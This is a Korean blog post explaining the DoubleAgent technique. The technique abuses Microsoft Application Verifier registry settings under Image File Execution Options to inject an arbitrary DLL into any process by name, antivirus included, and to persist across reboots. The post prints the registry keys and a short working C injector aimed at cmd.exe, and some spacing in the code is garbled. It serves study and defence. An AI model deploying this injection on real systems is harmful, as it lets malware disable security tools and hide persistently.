DoubleAgent 공격

Kail-KM
|2017. 3. 28. 00:04


최근 Cybellum 에서는 대다수의 안티바이러스 제품에 적용되는 Zero-Day 취약점 "Double Agent" 를 발표. 해당 공격의 아래의 기능을 사용한 공격

* MS의 개발자 검증도구인 "Microsoft Application Verifier" 을 사용

* 본래 목적은 런타임 검증도구로 오류를 신속하게 감지 및 수정할 수 있는 용도로 사용

* Double Agent 공격의 경우 이를 통해 원하는 DLL 을 Injection


공격 가능 대상

* 모든 버전의 Windows (Windows XP to Windows 10)

* 모든 Windows architecture (x86 and x64)

* 모든 Windows 사용자 (SYSTEM/Admin/etc.)

* 모든 대상 프로세스 (OS/Anti-Virus/etc.)


코드 인젝션

* 원하는 DLL 을 어떠한 프로세스에도 인젝션 할 수 있게 함

* DLL 인젝션은 프로세스 실행 과정 중 빠른 순위로 이루어짐 (Kernel32.dll 이나 TLS 보다 먼저)

* 발표 시점 기준으로 대부분의 Anti-Virus 에도 공격이 가능


지속성

* 재부팅 뿐만 아니라 업데이트/패치/재설치 등에 대해서도 지속 가능한 공격 기법

* 해당 프로그램 재설치에 대해서도 지속 가능


공격 요소

* Anti-Virus 와 차세대 Anti-Virus 공격 : 모든 자체 보호 매커니즘을 우회하면서 코드를 인젝션하여 Anti-Virus 제어

* 지속형 악성코드 설치 : 악성코드가 살아남아 재부팅 시에도 자동으로 실행되도록 설치

* 권한 하이재킹 : 신뢰할 수 있는 프로세스의 권한을 하이재킹하여 신뢰할 수 있는 프로세스로 위장

* 프로세스 동작 조작 : 백도어 설치나 암호화 알고리즘 약화 등의 조작

* 다른 사용자/세션 공격 : 다른 사용자와 세션(SYSTEM/Admin/etc.) 프로세스에 코드를 인젝션


대상 지정

해당 공격은 지정된 FULL 경로에 해당하는 프로그램이 아닌, 프로그램의 이름만으로 대상을 공격 가능

* 대상 이름을 cmd.exe 로 해놓은 경우 C\cmd.exe 와 C;\Windows\System32\cmd.exe 둘 다 실행 시 인젝션이 진행

* 대상 이름의 프로세스가 실행 될 때마다 매번 인젝션이 진행




코드


아래와 같이 레지스트리를 등록해야 함

RegSetKeyValueW(hIfeoKey, pcwszProcessName, VERIFIER_VERIFIERDLLS_VALUE_NAME, REG_SZ, pcwszVrfDllName, dwVrfDllNameLenInBytes));

RegSetKeyValueW(hIfeoKey, pcwszProcessName, VERIFIER_GLOBALFLAG_VALUE_NAME, REG_DWORD, &dwGlobalFlag, sizeof(dwGlobalFlag)));


이때, 인젝션하고자 하는 DLL 이 다음의 경로에 위치 해야 함

C:\Windows\System32\[인젝션 할 DLL명].dll


레지스트리 경로와 값은 아래와 같다.

  HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ProcessName

  VerifierDlls : Target.dll  , GlobalFlag : 0x100




공격


공격을 하기 위해 제작한 프로그램의 코드는 아래와 같다. 이때 Inject.dll 은 System32 에 존재해야 한다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
#include <Windows.h>
#include <stdio.h>
 
int main()
{
    HKEY hKey;
    DWORD dwFlag = 0x100;
    LPCWSTR DllName = L"Inject.dll";
 
    /* Get Key Handle - target process name is cmd.exe */
    RegCreateKeyExW(
        HKEY_LOCAL_MACHINE,
        L"Software\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\cmd.exe",
        0NULL0, KEY_ALL_ACCESS, NULL&hKey,NULL);
 
    /* Set Registry */
    RegSetValueExW(
        hKey, L"VerifierDlls"0, REG_SZ, (LPBYTE)DllName, (lstrlenW(DllName) + 1* sizeof(WCHAR));    
    RegSetValueExW(
        hKey, L"GlobalFlag"0, REG_DWORD, (BYTE *)&dwFlag, sizeof(dwFlag));
        
    RegCloseKey(hKey);
    return 0;
}
cs


위 코드를 제작한 프로그램을 실행 후 대상 프로세스인 cmd.exe 를 실행하였다. 실행 결과 Inject.dll 이 인젝션 된 것을 확인할 수 있다. 한가지 자세히 볼 점은 notepad.exe (메모장) 의 이름도 cmd.exe 로 변경한 결과, 인젝션이 이루어진 것을 확인 할 수 있다. 이는 위에서 언급한바와 같이 대상 프로세스의 전체 경로가 아닌 프로세스 이름만 확인 후 공격이 이루어지기 때문이다.





참고자료


원본 자료에는 Anti-Virus 의 레지스트리 설정 보호 우회에 대해서도 나와있다. 궁금하면 해당 자료를 읽어보는 것을 추천한다.

* POC 코드 : https://github.com/Cybellum/DoubleAgent

* 원문 블로그 : https://cybellum.com/doubleagent-taking-full-control-antivirus/

* 상세 내용 : https://cybellum.com/doubleagentzero-day-code-injection-and-persistence-technique/

* 기타 참조 : http://kitrap08.blogspot.kr/2011/04/application-verifier.html


'Reversing > Theory' 카테고리의 다른 글

Dynamic Data Exchange (DDE)  (0) 2017.11.12
Atombombing 기법  (0) 2017.05.28
암호학 기초 개념  (2) 2016.11.23
Memory Detection(메모리 진단)  (0) 2016.09.26
Assembly로 보는 코드, strcmp 문자열 비교  (0) 2016.08.08